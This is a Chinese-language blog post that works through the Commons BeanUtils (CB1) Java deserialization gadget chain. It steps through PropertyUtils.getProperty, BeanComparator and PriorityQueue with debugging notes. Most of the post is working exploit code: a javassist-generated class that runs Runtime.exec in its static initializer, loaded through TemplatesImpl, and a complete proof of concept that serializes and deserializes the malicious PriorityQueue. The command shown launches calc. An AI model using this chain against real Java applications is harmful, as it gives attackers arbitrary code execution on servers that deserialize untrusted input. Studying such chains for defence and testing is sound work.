Apache Commons BeanUtils
环境搭建
<dependency> <groupId>commons-beanutils</groupId> <artifactId>commons-beanutils</artifactId> <version>1.9.4</version> </dependency>
demo
import org.apache.commons.beanutils.PropertyUtils; import java.lang.reflect.InvocationTargetException; public class person { private String name = "catalina"; public void setName(String name) { this.name = name; } public String getName() { return name; } public static void main(String[] args) throws InvocationTargetException, IllegalAccessException, NoSuchMethodException { person person1 = new person(); System.out.println(PropertyUtils.getProperty(person1, "name")); } }
试图理由它调用任意函数执行命令
PropertyUtils.getProperty
调试
进入getProperty
进入getNestedProperty
getSimpleProperty
经过 getPropertyDescriptor
可以看到,我们传入的是 name ,这里返回 Bean 属性值是 Name ,并且 set 方法与 get 方法都是 setName , getName ,这是 JavaBean 的命名格式,会将传进来的小写首字母大写
关于javaBean的一些知识[什么是JavaBean? - JYRoy - 博客园 (cnblogs.com)](https://www.cnblogs.com/jyroy/p/11102298.html#:~:text= JavaBeans是Java中一种特殊的类,可以将多个对象封装到一个对象(bean)中。,特点是可序列化,提供无参构造器,提供getter方法和setter方法访问对象的属性。 名称中的“Bean”是用于Java的可重用软件组件的惯用叫法。)
之后来到involk
invoke调用
getTemplatesImpl
cc
从cc的构造中,我们学习了getTemplatesImpl,如下 两者结合
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.misc.Unsafe; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; public class exp { public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); System.out.println(PropertyUtils.getProperty(templates, "outputProperties")); } }
注意因为之前说的 J JavaBean 特性, OutputProperties 首字母要小写
之后寻找哪里调用了PropertyUtils.getProperty
看到是
BeanComparator.compare
o1可以直接传入。property在构造函数这里
poc
public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); // System.out.println(PropertyUtils.getProperty(templates, "outputProperties")); BeanComparator outputProperties = new BeanComparator("outputProperties"); outputProperties.compare(templates,new TemplatesImpl()); }
从优先队列到TransformingComparator
所以只差一个反序列化的readObject,会想起之前cc4的优先队列有调用过compare,可以再碰碰运气
cc4的poc回顾
public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); //chainedTransformer.transform(1); TransformingComparator ioTransformingComparator = new TransformingComparator<>(new ConstantTransformer<>(1)); //以下是优先队列的使用 PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator); priorityQueue.add(1); priorityQueue.add(2); Class c = ioTransformingComparator.getClass(); Field field = c.getDeclaredField("transformer"); field.setAccessible(true); field.set(ioTransformingComparator,chainedTransformer); //serialize(priorityQueue); unserialize("ser.bin");
两者结合一下,中间一不小心还漏了点东西
完整poc
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl; import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl; import javassist.ClassPool; import javassist.CtClass; import javassist.CtConstructor; import org.apache.commons.beanutils.BeanComparator; import org.apache.commons.beanutils.PropertyUtils; import org.apache.commons.collections.comparators.TransformingComparator; import org.apache.commons.collections.functors.ConstantTransformer; import org.apache.commons.collections.functors.InvokerTransformer; import org.apache.commons.collections.keyvalue.TiedMapEntry; import org.apache.commons.collections.map.LazyMap; import sun.misc.Unsafe; import java.io.*; import java.lang.reflect.Field; import java.lang.reflect.Method; import java.net.URL; import java.net.URLClassLoader; import java.nio.file.Files; import java.nio.file.Paths; import java.util.HashMap; import java.util.Map; import java.util.PriorityQueue; public class person { public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); } public static Object unserialize(String Filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename)); Object obj = ois.readObject(); return obj; } public static void setValue(Object target, String name, Object value) throws Exception { Class c = target.getClass(); Field field = c.getDeclaredField(name); field.setAccessible(true); field.set(target,value); } public static byte[] getTemplatesImpl(String cmd) { try { ClassPool pool = ClassPool.getDefault(); CtClass ctClass = pool.makeClass("Evil"); CtClass superClass = pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"); ctClass.setSuperclass(superClass); CtConstructor constructor = ctClass.makeClassInitializer(); constructor.setBody(" try {\n" + " Runtime.getRuntime().exec(\"" + cmd + "\");\n" + " } catch (Exception ignored) {\n" + " }"); byte[] bytes = ctClass.toBytecode(); ctClass.defrost(); return bytes; } catch (Exception e) { e.printStackTrace(); return new byte[]{}; } } public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); setValue(templates,"_name", "aaa"); byte[] code = getTemplatesImpl("calc"); byte[][] bytecodes = {code}; setValue(templates, "_bytecodes", bytecodes); setValue(templates,"_tfactory", new TransformerFactoryImpl()); // System.out.println(PropertyUtils.getProperty(templates, "outputProperties")); BeanComparator outputProperties = new BeanComparator("outputProperties"); // outputProperties.compare(templates,new TemplatesImpl()); TransformingComparator ioTransformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(ioTransformingComparator); priorityQueue.add(templates); priorityQueue.add(templates); setValue(priorityQueue, "comparator", outputProperties); serialize(priorityQueue); unserialize("ser.bin"); } }